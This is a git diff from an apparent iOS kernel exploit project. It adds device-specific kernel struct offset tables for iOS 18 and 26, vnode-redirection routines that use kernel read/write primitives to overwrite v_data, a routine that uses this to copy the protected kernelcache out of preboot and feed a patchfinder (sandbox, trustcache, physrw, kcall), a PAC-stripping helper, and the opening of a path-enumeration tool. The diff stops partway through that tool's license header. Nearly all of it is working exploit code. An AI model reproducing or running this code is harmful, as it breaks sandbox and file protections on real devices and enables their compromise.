0x5dc; //different PER DEVICES; A12, A15+, A18, A10 + off_task_map = 0x28; //18.0-18.7 + off_filedesc_fd_ofiles = 0x28; //18.0-18.7 + off_filedesc_fd_cdir = 0x48; //18.0-18.7 + off_fileproc_fp_glob = 0x10; //18.0-18.7 + off_fileglob_fg_data = 0x38; //18.0-18.7 + off_fileglob_fg_flag = 0x10; //18.0-18.7 + off_vnode_v_ncchildren_tqh_first = 0x30; //18.0-18.7 + off_vnode_v_nclinks_lh_first = 0x40; //18.0-18.7 + off_vnode_v_parent = 0xc0; //18.0-18.7 + off_vnode_v_data = 0xe0; //18.0-18.7 + off_vnode_v_name = 0xb8; //18.0-18.7 + off_vnode_v_usecount = 0x60; //18.0-18.7 + off_vnode_v_iocount = 0x64; //18.0-18.7 + off_vnode_v_writecount = 0xb0; //18.0-18.7 + off_vnode_v_flag = 0x54; //18.0-18.7 + off_vnode_v_mount = 0xd8; //18.0-18.7 + off_mount_mnt_flag = 0x70; //18.0-18.7 + off_namecache_nc_vp = 0x50; //18.0-18.7 + off_namecache_nc_child_tqe_next = 0x10; //18.0-18.7 + off_arm_saved_state64_lr = 0xf0; //18.0-18.7 + off_arm_saved_state64_pc = 0x100; //18.0-18.7 + off_arm_saved_state_uss_ss_64 = 0x8; //18.0-18.7 + off_ipc_space_is_table = 0x20; //18.0-18.7 + off_ipc_entry_ie_object = 0; //18.0-18.7 + off_ipc_port_ip_kobject = 0x48; //18.0-18.7 + off_arm_kernel_saved_state_sp = 0x60; //18.0-18.7 + off_vm_map_hdr = 0x10; //18.0-18.7 + off_vm_map_header_nentries = 0x20; //18.0-18.7 + off_vm_map_entry_links_next = 0x8; //18.0-18.7 + off_vm_map_entry_vme_object_or_delta = 0x3c; //18.0-18.7 + off_vm_map_entry_vme_alias = 0x40; //18.0-18.7 + off_vm_map_header_links_next = 0x8; //18.0-18.7 + off_vm_object_vo_un1_vou_size = 0x18; //18.0-18.7 + off_vm_object_ref_count = 0x28; //18.0-18.7 + off_vm_named_entry_backing_copy = 0x10; //18.0-18.7 + off_vm_named_entry_size = 0x20; //18.0-18.7 + off_label_l_perpolicy_amfi = 0x8; //18.0-18.7 + off_label_l_perpolicy_sandbox = 0x10; //18.0-18.7 + + if(isA13Above) { + off_thread_t_tro = 0x388; + off_thread_ctid = 0x438; + off_thread_mutex_lck_mtx_data = 0x3B0+8; + off_thread_machine_kstackptr = 0xF8; + off_thread_machine_jop_pid = 0x168; + off_thread_machine_rop_pid = 0x168-8; + off_thread_guard_exc_info_code = 0x330; + off_thread_ast = 0x3ac; + off_thread_task_threads_next = 0x378; + } + + if(isA15Above) { + off_thread_t_tro = 0x390; + off_thread_ctid = 0x440; + off_thread_mutex_lck_mtx_data = 0x3B8+8; + off_thread_machine_jop_pid = 0x170; + off_thread_machine_rop_pid = 0x170-8; + off_thread_guard_exc_info_code = 0x338; + off_thread_ast = 0x3b4; + off_thread_task_threads_next = 0x380; + off_task_task_exc_guard = 0x5f4; + } + + if(isA17Above) { + off_thread_machine_upcb = 0x108; + off_thread_machine_contextdata = 0x108-8; + off_thread_t_tro = 0x3E0; + off_thread_ctid = 0x490; + off_thread_options = 0xC0; + off_thread_mutex_lck_mtx_data = 0x408+8; + off_thread_machine_jop_pid = 0x1c0; + off_thread_machine_rop_pid = 0x1c0-8; + off_thread_machine_kstackptr = 0x148; + off_thread_guard_exc_info_code = 0x388; + off_thread_ast = 0x404; + off_thread_task_threads_next = 0x3d0; + } + + if(gIsA18Above) { + off_thread_t_tro = 0x3E8; + off_thread_ctid = 0x4A8; + off_thread_mutex_lck_mtx_data = 0x410+8; + off_thread_guard_exc_info_code = 0x390; + off_thread_ast = 0x40C; + off_thread_task_threads_next = 0x3d8; + off_task_task_exc_guard = 0x5fc; + } + + if(isA10) { + off_thread_machine_upcb = 0x100; + off_thread_machine_contextdata = 0x100-8; + off_thread_t_tro = 0x3A8; + off_thread_ctid = 0x458; + off_thread_options = 0xb8; + off_thread_mutex_lck_mtx_data = 0x3d0+8; + off_thread_machine_kstackptr = 0x138; + off_thread_guard_exc_info_code = 0x350; + off_thread_ast = 0x3cc; + off_thread_task_threads_next = 0x398; + off_task_task_exc_guard = 0x5c4; + } + } + // iOS 18.1-18.3 + if (SYSTEM_VERSION_GREATER_THAN_OR_EQUAL_TO(@"18.1")) { + off_thread_t_tro = 0x370; + off_thread_ctid = 0x420; + off_thread_mutex_lck_mtx_data = 0x398+8; + off_thread_ast = 0x394; + off_thread_task_threads_next = 0x360; + + if(isA13Above) { + off_thread_t_tro = 0x380; + off_thread_ctid = 0x430; + off_thread_mutex_lck_mtx_data = 0x3A8+8; + off_thread_ast = 0x3A4; + off_thread_task_threads_next = 0x370; + } + + if(isA15Above) { + off_thread_t_tro = 0x388; + off_thread_ctid = 0x438; + off_thread_mutex_lck_mtx_data = 0x3B0+8; + off_thread_ast = 0x3AC; + off_thread_task_threads_next = 0x378; + } + + if(isA17Above) { + off_thread_t_tro = 0x3D8; + off_thread_ctid = 0x488; + off_thread_mutex_lck_mtx_data = 0x400+8; + off_thread_ast = 0x3FC; + off_thread_task_threads_next = 0x3C8; + } + + if(gIsA18Above) { + off_thread_t_tro = 0x3E0; + off_thread_ctid = 0x4A0; + off_thread_mutex_lck_mtx_data = 0x408+8; + off_thread_ast = 0x404; + off_thread_task_threads_next = 0x3D0; + } + + if(isA10) { + off_thread_t_tro = 0x3A0; + off_thread_ctid = 0x450; + off_thread_mutex_lck_mtx_data = 0x3C8+8; + off_thread_ast = 0x3C4; + off_thread_task_threads_next = 0x390; + } + } + + // iOS 18.4-18.5 + if (SYSTEM_VERSION_GREATER_THAN_OR_EQUAL_TO(@"18.4")) { + off_thread_guard_exc_info_code = 0xdeaddead; //no more exist, renamed to mach_exc_info.code + off_proc_ro_p_ucred = 0x28; //18.4-18.7 + + off_thread_t_tro = 0x378; + off_thread_ctid = 0x428; + off_thread_mutex_lck_mtx_data = 0x3A0+8; + off_thread_mach_exc_info_code = 0x328; //newly added + off_thread_mach_exc_info_os_reason = 0x328-8; //newly added + off_thread_mach_exc_info_exception_type = 0x328-4; //newly added + off_thread_ast = 0x39C; + off_thread_task_threads_next = 0x368; + off_task_task_exc_guard = 0x5FC; + + if(isA13Above) { + off_thread_t_tro = 0x388; + off_thread_ctid = 0x438; + off_thread_mutex_lck_mtx_data = 0x3B0+8; + off_thread_mach_exc_info_code = 0x338; + off_thread_mach_exc_info_os_reason = 0x338-8; + off_thread_mach_exc_info_exception_type = 0x338-4; + off_thread_ast = 0x3AC; + off_thread_task_threads_next = 0x378; + } + + if(isA15Above) { + off_thread_t_tro = 0x390; + off_thread_ctid = 0x448; + off_thread_mutex_lck_mtx_data = 0x3B8+8; + off_thread_mach_exc_info_code = 0x340; + off_thread_mach_exc_info_os_reason = 0x340-8; + off_thread_mach_exc_info_exception_type = 0x340-4; + off_thread_ast = 0x3B4; + off_thread_task_threads_next = 0x380; + off_task_task_exc_guard = 0x624; + } + + if(isA17Above) { + off_thread_t_tro = 0x3E0; + off_thread_ctid = 0x498; + off_thread_mutex_lck_mtx_data = 0x408+8; + off_thread_mach_exc_info_code = 0x390; + off_thread_mach_exc_info_os_reason = 0x390-8; + off_thread_mach_exc_info_exception_type = 0x390-4; + off_thread_ast = 0x404; + off_thread_task_threads_next = 0x3D0; + } + + if(gIsA18Above) { + off_thread_t_tro = 0x3E8; + off_thread_ctid = 0x4A8; + off_thread_mutex_lck_mtx_data = 0x410+8; + off_thread_mach_exc_info_code = 0x398; + off_thread_mach_exc_info_os_reason = 0x398-8; + off_thread_mach_exc_info_exception_type = 0x398-4; + off_thread_ast = 0x40C; + off_thread_task_threads_next = 0x3D8; + } + + if(isA10) { + off_thread_t_tro = 0x3A8; + off_thread_ctid = 0x458; + off_thread_mutex_lck_mtx_data = 0x3D0+8; + off_thread_mach_exc_info_code = 0x358; + off_thread_ast = 0x3CC; + off_thread_task_threads_next = 0x398; + off_task_task_exc_guard = 0x5E4; + } + } + + // iOS 18.6-18.7 + if (SYSTEM_VERSION_GREATER_THAN_OR_EQUAL_TO(@"18.6")) { + off_thread_t_tro = 0x380; + off_thread_ctid = 0x430; + off_thread_mutex_lck_mtx_data = 0x3a8+8; + off_thread_mach_exc_info_code = 0x330; + off_thread_mach_exc_info_os_reason = 0x330-8; + off_thread_mach_exc_info_exception_type = 0x330-4; + off_thread_ast = 0x3A4; + off_thread_task_threads_next = 0x370; + + if(isA13Above) { + off_thread_t_tro = 0x390; + off_thread_ctid = 0x440; + off_thread_mutex_lck_mtx_data = 0x3B8+8; + off_thread_mach_exc_info_code = 0x340; + off_thread_mach_exc_info_os_reason = 0x340-8; + off_thread_mach_exc_info_exception_type = 0x340-4; + off_thread_ast = 0x3B4; + off_thread_task_threads_next = 0x380; + } + + if(isA15Above) { + off_thread_t_tro = 0x398; + off_thread_ctid = 0x450; + off_thread_mutex_lck_mtx_data = 0x3c0+8; + off_thread_mach_exc_info_code = 0x348; + off_thread_mach_exc_info_os_reason = 0x348-8; + off_thread_mach_exc_info_exception_type = 0x348-4; + off_thread_ast = 0x3bc; + off_thread_task_threads_next = 0x388; + } + + if(isA17Above) { + off_thread_t_tro = 0x3E8; + off_thread_ctid = 0x4a0; + off_thread_mutex_lck_mtx_data = 0x410+8; + off_thread_mach_exc_info_code = 0x398; + off_thread_mach_exc_info_os_reason = 0x398-8; + off_thread_mach_exc_info_exception_type = 0x398-4; + off_thread_ast = 0x40C; + off_thread_task_threads_next = 0x3D8; + } + + if(gIsA18Above) { + off_thread_t_tro = 0x3F0; + off_thread_ctid = 0x4b0; + off_thread_mutex_lck_mtx_data = 0x418+8; + off_thread_mach_exc_info_code = 0x3a0; + off_thread_mach_exc_info_os_reason = 0x3a0-8; + off_thread_mach_exc_info_exception_type = 0x3a0-4; + off_thread_ast = 0x414; + off_thread_task_threads_next = 0x3E0; + } + + if(isA10) { + // same with iOS 18.4-18.5 + } + } + + // iOS 26.0.x + if (SYSTEM_VERSION_GREATER_THAN_OR_EQUAL_TO(@"26.0")) { + off_inpcb_inp_list_le_next = 0x20; + off_inpcb_inp_pcbinfo = 0x38; + off_inpcb_inp_socket = 0x40; + off_inpcb_inp_depend6_inp6_icmp6filt = 0x148; + off_inpcb_inp_depend6_inp6_chksum = 0x150; + off_inpcbinfo_ipi_zone = 0x68; + off_socket_so_usecount = 0x23c; + off_socket_so_proto = 0x20; + off_socket_so_background_thread = 0x298; + off_kalloc_type_view_kt_zv_zv_name = 0x10; + off_thread_ro_tro_proc = 0x18; + off_thread_ro_tro_task = 0x28; + off_thread_machine_upcb = 0xb8; //different PER DEVICES; A12+, A17+&M3+ + off_thread_machine_contextdata = 0xb8-8; //different PER DEVICES; A12+, A17+&M3+ + off_thread_t_tro = 0x390; //different PER DEVICES; A12, A13+, A15+, A17&M3, A18&M4 + off_thread_ctid = 0x430; //different PER DEVICES; A12, A13+, A15+, A17&M3, A18&M4 + off_thread_options = 0x70; //different PER DEVICES; A12+, A17+&M3+ + off_thread_mutex_lck_mtx_data = 0x3A8+8; //different PER DEVICES; A12, A13+, A15+, A17+&M3, A18&M4 + off_thread_machine_kstackptr = 0xf0; //different PER DEVICES; A12, A13+, A17+&M3+ + off_thread_machine_jop_pid = 0x160; //different PER DEVICES; A12, A13+, A15+, A17+ + off_thread_machine_rop_pid = 0x160-8; //different PER DEVICES; A12, A13+, A15+, A17+ + off_thread_guard_exc_info_code = 0xdeaddead; //has been renamed to off_thread_mach_exc_info_code + off_thread_mach_exc_info_code = 0x330; //different PER DEVICES; A12, A13+, A15+, A17&M3, A18&M4 + off_thread_mach_exc_info_os_reason = 0x330-8; //different PER DEVICES; A12, A13+, A15+, A17&M3, A18&M4 + off_thread_mach_exc_info_exception_type = 0x330-4; //different PER DEVICES; A12, A13+, A15+, A17&M3, A18&M4 + off_thread_ast = 0x3A4; //different PER DEVICES; A12, A13+, A15+, A17&M3, A18&M4 + off_thread_task_threads_next = 0x370; //different PER DEVICES; A12, A13+, A15+, A17/M3, A18&M4 + off_proc_p_list_le_next = 0x0; + off_proc_p_list_le_prev = 0x8; + off_proc_p_proc_ro = 0x18; + off_proc_p_pid = 0x60; + off_proc_p_fd = 0xd0; + off_proc_p_flag = 0x454; + off_proc_p_textvp = 0x548; + off_proc_p_name = 0x57D; + off_proc_ro_pr_task = 0x8; + off_proc_ro_p_ucred = 0x28; + off_ucred_cr_label = 0x78; + off_task_itk_space = 0x310; //same PER DEVICES; + off_task_threads_next = 0x50; + off_task_task_exc_guard = 0x5d4; //different PER DEVICES; A12+, A15+&M3, A18&M4 + off_task_map = 0x28; + off_filedesc_fd_ofiles = 0x28; + off_filedesc_fd_cdir = 0x48; + off_fileproc_fp_glob = 0x10; + off_fileglob_fg_data = 0x38; + off_fileglob_fg_flag = 0x10; + off_vnode_v_ncchildren_tqh_first = 0x30; + off_vnode_v_nclinks_lh_first = 0x40; + off_vnode_v_parent = 0xc0; + off_vnode_v_data = 0xe0; + off_vnode_v_name = 0xb8; + off_vnode_v_usecount = 0x60; + off_vnode_v_iocount = 0x64; + off_vnode_v_writecount = 0xb0; + off_vnode_v_flag = 0x54; + off_vnode_v_mount = 0xd8; + off_mount_mnt_flag = 0x70; + off_namecache_nc_vp = 0x50; + off_namecache_nc_child_tqe_next = 0x10; + off_arm_saved_state64_lr = 0xf0; + off_arm_saved_state64_pc = 0x100; + off_arm_saved_state_uss_ss_64 = 0x8; + off_ipc_space_is_table = 0x48; + off_ipc_entry_ie_object = 0; + off_ipc_port_ip_kobject = 0x50; + off_arm_kernel_saved_state_sp = 0x60; + off_vm_map_hdr = 0x10; + off_vm_map_header_nentries = 0x20; + off_vm_map_entry_links_next = 0x8; + off_vm_map_entry_vme_object_or_delta = 0x3c; + off_vm_map_entry_vme_alias = 0x40; + off_vm_map_header_links_next = 0x8; + off_vm_object_vo_un1_vou_size = 0x18; + off_vm_object_ref_count = 0x28; + off_vm_named_entry_backing_copy = 0x10; + off_vm_named_entry_size = 0x20; + off_label_l_perpolicy_amfi = 0x8; + off_label_l_perpolicy_sandbox = 0x10; + + if(isA13Above) { + off_thread_t_tro = 0x390; + off_thread_ctid = 0x440; + off_thread_mutex_lck_mtx_data = 0x3B8+8; + off_thread_machine_kstackptr = 0xf8; + off_thread_machine_jop_pid = 0x168; + off_thread_machine_rop_pid = 0x168-8; + off_thread_mach_exc_info_code = 0x340; + off_thread_mach_exc_info_os_reason = 0x340-8; + off_thread_mach_exc_info_exception_type = 0x340-4; + off_thread_ast = 0x3b4; + off_thread_task_threads_next = 0x380; + } + + if(isA15Above) { + off_thread_t_tro = 0x398; + off_thread_ctid = 0x450; + off_thread_mutex_lck_mtx_data = 0x3C0+8; + off_thread_machine_jop_pid = 0x170; + off_thread_machine_rop_pid = 0x170-8; + off_thread_mach_exc_info_code = 0x348; + off_thread_mach_exc_info_os_reason = 0x348-8; + off_thread_mach_exc_info_exception_type = 0x348-4; + off_thread_ast = 0x3BC; + off_thread_task_threads_next = 0x388; + off_task_task_exc_guard = 0x5fc; + } + + if(isA17Above) { + off_thread_machine_upcb = 0x108; + off_thread_machine_contextdata = 0x108-8; + off_thread_t_tro = 0x3e8; + off_thread_ctid = 0x4a0; + off_thread_options = 0xc0; + off_thread_mutex_lck_mtx_data = 0x410+8; + off_thread_machine_kstackptr = 0x148; + off_thread_machine_jop_pid = 0x1c0; + off_thread_machine_rop_pid = 0x1c0-8; + off_thread_mach_exc_info_code = 0x398; + off_thread_mach_exc_info_os_reason = 0x398-8; + off_thread_mach_exc_info_exception_type = 0x398-4; + off_thread_ast = 0x40c; + off_thread_task_threads_next = 0x3d8; + } + + if(gIsA18Above) { + off_thread_t_tro = 0x3f0; + off_thread_ctid = 0x4b0; + off_thread_mutex_lck_mtx_data = 0x418+8; + off_thread_mach_exc_info_code = 0x3a0; + off_thread_mach_exc_info_os_reason = 0x3a0-8; + off_thread_mach_exc_info_exception_type = 0x3a0-4; + off_thread_ast = 0x414; + off_thread_task_threads_next = 0x3e0; + off_task_task_exc_guard = 0x604; + } + } + + pac_mask = ~((1ULL << (64 - t1sz_boot)) - 1ULL); +} diff --git a/kexploit/vnode.h b/kexploit/vnode.h new file mode 100644 index 0000000..3946f6e --- /dev/null +++ b/kexploit/vnode.h @@ -0,0 +1,26 @@ +// +// vnode.h +// darksword-kexploit-fun +// +// Created by seo on 3/25/26. +// + +#ifndef vnode_h +#define vnode_h + +#include +#include +#include + +uint64_t get_vnode_for_path_by_chdir(const char *path); +uint64_t get_vnode_for_path_by_open(const char *path); +uint64_t get_vnode_by_fd(int fd); +uint64_t vnode_redirect_folder(const char *to, const char *from); +bool vnode_unredirect_folder(const char *folder, uint64_t orig_to_v_data); +bool vnode_redirect_file(const char *to, const char *from, uint64_t* orig_to_vnode, uint64_t* orig_to_v_data); +bool vnode_unredirect_file(uint64_t orig_to_vnode, uint64_t orig_to_v_data); +char* vnode_get_v_name(uint64_t vnode); +uint64_t get_rootvnode(void); +uint64_t vnode_get_child_vnode(uint64_t vnode, const char* child_filename, uint64_t blacklist_vdata); + +#endif /* vnode_h */ diff --git a/kexploit/vnode.m b/kexploit/vnode.m new file mode 100644 index 0000000..b139028 --- /dev/null +++ b/kexploit/vnode.m @@ -0,0 +1,158 @@ +// +// vnode.m +// darksword-kexploit-fun +// +// Created by seo on 3/25/26. +// + +#import "vnode.h" +#import "krw.h" +#import "kutils.h" +#import "offsets.h" +#import "xpaci.h" + +#import +#import +#import +#import +#import +#import + +uint64_t get_vnode_for_path_by_chdir(const char *path) { + if (access(path, F_OK) == -1) { + return -1; + } + if (chdir(path) == -1) { return -1; } + + uint64_t fd_cdir_vp = kread64(proc_self() + off_proc_p_fd + off_filedesc_fd_cdir); + chdir("/"); + return fd_cdir_vp; +} + +uint64_t get_vnode_for_path_by_open(const char *path) { + int fd = open(path, O_RDONLY); + if (fd == -1) return -1; + + uint64_t fileprocPtrArr = kread64(proc_self() + off_proc_p_fd + off_filedesc_fd_ofiles); + fileprocPtrArr = xpaci(fileprocPtrArr); + uint64_t fileproc = kread64(fileprocPtrArr + (8 * fd)); + uint64_t fp_glob = kread64(fileproc + off_fileproc_fp_glob); + fp_glob = xpaci(fp_glob); + uint64_t vnode = kread64(fp_glob + off_fileglob_fg_data); + vnode = xpaci(vnode); + + close(fd); + return vnode; +} + +uint64_t get_vnode_by_fd(int fd) { + uint64_t fileprocPtrArr = kread64(proc_self() + off_proc_p_fd + off_filedesc_fd_ofiles); + fileprocPtrArr = xpaci(fileprocPtrArr); + uint64_t fileproc = kread64(fileprocPtrArr + (8 * fd)); + uint64_t fp_glob = kread64(fileproc + off_fileproc_fp_glob); + fp_glob = xpaci(fp_glob); + uint64_t vnode = kread64(fp_glob + off_fileglob_fg_data); + vnode = xpaci(vnode); + return vnode; +} + +uint64_t get_rootvnode(void) { + uint64_t launchd_proc = proc_find(1); + uint64_t launchd_vnode = kread64(launchd_proc + off_proc_p_textvp); + launchd_vnode = xpaci(launchd_vnode); + + uint64_t sbin_vnode = kread64(launchd_vnode + off_vnode_v_parent); + sbin_vnode = xpaci(sbin_vnode); + + uint64_t root_vnode = kread64(sbin_vnode + off_vnode_v_parent); + root_vnode = xpaci(root_vnode); + + return root_vnode; +} + +char vp_name[256]; +char* vnode_get_v_name(uint64_t vnode) { + memset(vp_name, 0, 256); + uint64_t vp_nameptr = kread64(vnode + off_vnode_v_name); + kreadbuf(vp_nameptr, &vp_name, 256); + return vp_name; +} + +uint64_t vnode_redirect_folder(const char *to, const char *from) { + uint64_t to_vnode = get_vnode_for_path_by_chdir(to); + uint64_t orig_to_v_data = kread64(to_vnode + off_vnode_v_data); + uint64_t from_vnode = get_vnode_for_path_by_chdir(from); + uint64_t from_v_data = kread64(from_vnode + off_vnode_v_data); + + kwrite64(to_vnode + off_vnode_v_data, from_v_data); + + return orig_to_v_data; +} + +bool vnode_unredirect_folder(const char *folder, uint64_t orig_to_v_data) { + uint64_t vnode = get_vnode_for_path_by_chdir(folder); + if (vnode == -1) return false; + + kwrite64(vnode + off_vnode_v_data, orig_to_v_data); + + return true; +} + +bool vnode_redirect_file(const char *to, const char *from, uint64_t* orig_to_vnode, uint64_t* orig_to_v_data) { + uint64_t to_vnode = get_vnode_for_path_by_open(to); + if(to_vnode == -1) { + NSString *to_dir = [[NSString stringWithUTF8String:to] stringByDeletingLastPathComponent]; + NSString *to_file = [[NSString stringWithUTF8String:to] lastPathComponent]; + uint64_t to_dir_vnode = get_vnode_for_path_by_chdir(to_dir.UTF8String); + to_vnode = vnode_get_child_vnode(to_dir_vnode, to_file.UTF8String, 0); + if(to_vnode == -1) { + printf("[-] Couldn't find file (to): %s", to); + return false; + } + } + + uint64_t from_vnode = get_vnode_for_path_by_open(from); + if(from_vnode == -1) { + NSString *from_dir = [[NSString stringWithUTF8String:from] stringByDeletingLastPathComponent]; + NSString *from_file = [[NSString stringWithUTF8String:from] lastPathComponent]; + uint64_t from_dir_vnode = get_vnode_for_path_by_chdir(from_dir.UTF8String); + from_vnode = vnode_get_child_vnode(from_dir_vnode, from_file.UTF8String, 0); + if(from_vnode == 0) { + printf("[-] Couldn't find file (from): %s", from); + return false; + } + } + + *orig_to_vnode = to_vnode; + *orig_to_v_data = kread64(to_vnode + off_vnode_v_data); + uint64_t from_v_data = kread64(from_vnode + off_vnode_v_data); + kwrite64(to_vnode + off_vnode_v_data, from_v_data); + + return true; +} + +bool vnode_unredirect_file(uint64_t orig_to_vnode, uint64_t orig_to_v_data) { + kwrite64(orig_to_vnode + off_vnode_v_data, orig_to_v_data); + + return true; +} + +uint64_t vnode_get_child_vnode(uint64_t vnode, const char* child_filename, uint64_t blacklist_vdata) { + uint64_t vp_namecache = kread64(vnode + off_vnode_v_ncchildren_tqh_first); + if(vp_namecache == 0) return -1; + + while(1) { + if(vp_namecache == 0) break; + vnode = kread64(vp_namecache + off_namecache_nc_vp); + + if(vnode == 0) break; + char* vp_name = vnode_get_v_name(vnode); + + if(strcmp(vp_name, child_filename) == 0 && kread64(vnode + off_vnode_v_data) != blacklist_vdata) { + return vnode; + } + vp_namecache = kread64(vp_namecache + off_namecache_nc_child_tqe_next); + } + + return -1; +} diff --git a/kexploit/xpaci.h b/kexploit/xpaci.h new file mode 100644 index 0000000..d04c04a --- /dev/null +++ b/kexploit/xpaci.h @@ -0,0 +1,23 @@ +// ptrauth.h replacement +#include + +extern bool gIsPACSupported; + +static uint64_t __attribute((naked)) __xpaci(uint64_t a) +{ + asm(".long 0xDAC143E0"); // XPACI X0 + asm("ret"); +} + +static uint64_t xpaci(uint64_t a) +{ + if(!gIsPACSupported) return a; + + // If a looks like a non-pac'd pointer just return it + if ((a & 0xFFFFFF0000000000) == 0xFFFFFF0000000000) + { + return a; + } + + return __xpaci(a); +} diff --git a/kpf/patchfinder.h b/kpf/patchfinder.h new file mode 100644 index 0000000..ecd1ed7 --- /dev/null +++ b/kpf/patchfinder.h @@ -0,0 +1,16 @@ +// +// patchfinder.h +// darksword-kexploit-fun +// +// Created by seo on 3/26/26. +// + +#ifndef patchfinder_h +#define patchfinder_h + +#include + +int grab_kernelcache(void); +int init_xpf(void); + +#endif /* patchfinder_h */ diff --git a/kpf/patchfinder.m b/kpf/patchfinder.m new file mode 100644 index 0000000..10d59f4 --- /dev/null +++ b/kpf/patchfinder.m @@ -0,0 +1,157 @@ +// +// patchfinder.m +// darksword-kexploit-fun +// +// Created by seo on 3/26/26. +// + +#import +#import +#import + +#import "patchfinder.h" +#import "../kexploit/krw.h" +#import "../kexploit/vnode.h" +#import "../kexploit/kutils.h" +#import "../kexploit/offsets.h" +#import "../utils/hexdump.h" + +bool is_kernelcache_valid(NSString* kc) { + NSFileHandle *handle = [NSFileHandle fileHandleForReadingAtPath:kc]; + NSData *data = [handle readDataOfLength:2]; + [handle closeFile]; + + if (data.length == 2) { + const uint8_t *bytes = data.bytes; + if (bytes[0] == 0x30 && bytes[1] == 0x84) { + return true; + } + } + return false; +} + +int grab_kernelcache(void) +{ + NSString *kc_path = [NSString stringWithFormat:@"/private/preboot/%s%@", get_bootManifestHash(), @"/System/Library/Caches/com.apple.kernelcaches/kernelcache"]; + NSString *kc_copysrc_path = @"/private/preboot/Cryptexes/OS/System/Library/CoreServices/RestoreVersion.plist"; // will temporary replaced with kernelcache data by modifying vnode->v_data + NSString *kc_copydst_path = [NSString stringWithFormat:@"%@%@", NSHomeDirectory(), @"/Documents/kc"]; + + unlink(kc_copydst_path.UTF8String); + + int kc_copysrc_fd = open(kc_copysrc_path.UTF8String, O_RDONLY); + int kc_copydst_fd = open(kc_copydst_path.UTF8String, O_WRONLY | O_CREAT | O_TRUNC, 0644); + + uint64_t kc_copysrc_vnode = get_vnode_by_fd(kc_copysrc_fd); + uint64_t kc_copysrc_v_data = kread64(kc_copysrc_vnode + off_vnode_v_data); + + NSString *kc_folder_path = [NSString stringWithFormat:@"/private/preboot/%s%@", get_bootManifestHash(), @"/System/Library/Caches/com.apple.kernelcaches"]; + get_vnode_for_path_by_open(kc_path.UTF8String); // it will fail, but need to call make searchable kernelcache from vnode_get_child_vnode? + uint64_t kc_folder_vnode = get_vnode_for_path_by_chdir(kc_folder_path.UTF8String); + uint64_t kc_vnode = vnode_get_child_vnode(kc_folder_vnode, "kernelcache", kread64(kc_copysrc_vnode + off_vnode_v_data)); + if(kc_vnode == -1) { + printf("Failed to find kernelcache vnode by searching child vnode\n"); + return -1; + } + + uint64_t kc_v_data = kread64(kc_vnode + off_vnode_v_data); + + // temporary replace with kernelcache data by modifying vnode->v_data + kwrite64(kc_copysrc_vnode + off_vnode_v_data, kc_v_data); + + // Copy data now! + char buf[4096]; + ssize_t n; + while ((n = read(kc_copysrc_fd, buf, sizeof(buf))) > 0) + write(kc_copydst_fd, buf, n); + + // restore original vnode->v_data + kwrite64(kc_copysrc_vnode + off_vnode_v_data, kc_copysrc_v_data); + + close(kc_copysrc_fd); + close(kc_copydst_fd); + + if(is_kernelcache_valid(kc_copydst_path) == false) { + printf("[%s:%d] Invalid kernelcache data :(\n", __FUNCTION__, __LINE__); + hexdump_file(kc_copydst_path.UTF8String, 100); + return -1; + } + + return 0; +} + +int init_xpf(void) { + if(grab_kernelcache() != 0) return -1; + + NSString *kernelcache_path = [NSString stringWithFormat:@"%@%@", NSHomeDirectory(), @"/Documents/kc"]; + + if (xpf_start_with_kernel_path(kernelcache_path.fileSystemRepresentation) == 0) { + printf("Starting XPF with %s (%s)\n", kernelcache_path.fileSystemRepresentation, gXPF.kernelVersionString); + clock_t t = clock(); + + printf("Kernel base: 0x%llx\n", gXPF.kernelBase); + printf("Kernel entry: 0x%llx\n", gXPF.kernelEntry); + //xpf_print_all_items(); + + char *sets[] = { + "translation", + "trustcache", + "physmap", + "struct", + "physrw", + NULL, + NULL, + NULL, + NULL, + NULL, + NULL, + }; + + uint32_t idx = 0; + while (sets[idx] != NULL) idx++; + + if (xpf_set_is_supported("sandbox")) { + sets[idx++] = "sandbox"; + } + if (xpf_set_is_supported("perfkrw")) { + sets[idx++] = "perfkrw"; + } + if (xpf_set_is_supported("devmode")) { + sets[idx++] = "devmode"; + } + if (xpf_set_is_supported("badRecovery")) { + sets[idx++] = "badRecovery"; + } + if (xpf_set_is_supported("arm64kcall")) { + sets[idx++] = "arm64kcall"; + } + if (xpf_set_is_supported("trigon")) { + sets[idx++] = "trigon"; + } + + xpc_object_t serializedSystemInfo = xpf_construct_offset_dictionary((const char **)sets); + if (serializedSystemInfo) { + xpc_dictionary_apply(serializedSystemInfo, ^bool(const char *key, xpc_object_t value) { + if (xpc_get_type(value) == XPC_TYPE_UINT64) { + printf("0x%016llx <- %s\n", xpc_uint64_get_value(value), key); + } + return true; + }); +// xpc_release(serializedSystemInfo); + } + else { + printf("XPF Error: %s\n", xpf_get_error()); + } + + t = clock() - t; + double time_taken = ((double)t)/CLOCKS_PER_SEC; + printf("XPF finished in %lf seconds\n", time_taken); + xpf_stop(); + } + else { + printf("Failed to start XPF: %s\n", xpf_get_error()); + } + + puts("done"); + + return 0; +} diff --git a/pathleak.h b/pathleak.h new file mode 100644 index 0000000..57811bb --- /dev/null +++ b/pathleak.h @@ -0,0 +1,41 @@ +// +// pathleak.h +// worse_query +// +// Created by Taj C on 9/2/26. +// + +/* + pathleak - The dumbest arbitrary path enumeration. + Copyright (C) 2026 Taj C (forcequit) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +#ifndef pathleak_h +#define pathleak_h + +#import + +NSArray *pathleak(NSString *filter, uint64_t max_inode); + +#endif /* pathleak_h */ + +/// Enumerate paths beneath any of `roots`, up to `maxDepth` components below +/// each root. A single inode sweep can feed several container families at +/// once, which is much faster than rescanning the volume per family. +NSArray *pathleak_roots(NSArray *roots, + NSUInteger maxDepth, + uint64_t max_inode); + diff --git a/pathleak.m b/pathleak.m new file mode 100644 index 0000000..99fc419 --- /dev/null +++ b/pathleak.m @@ -0,0 +1,164 @@ +// +// pathleak.m +// worse_query +// +// Created by Taj C on 9/2/26. +// + +/* + pathleak - The dumbest arbitrary path enumeration. + Copyright (C) 2026 Taj C (forcequit) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 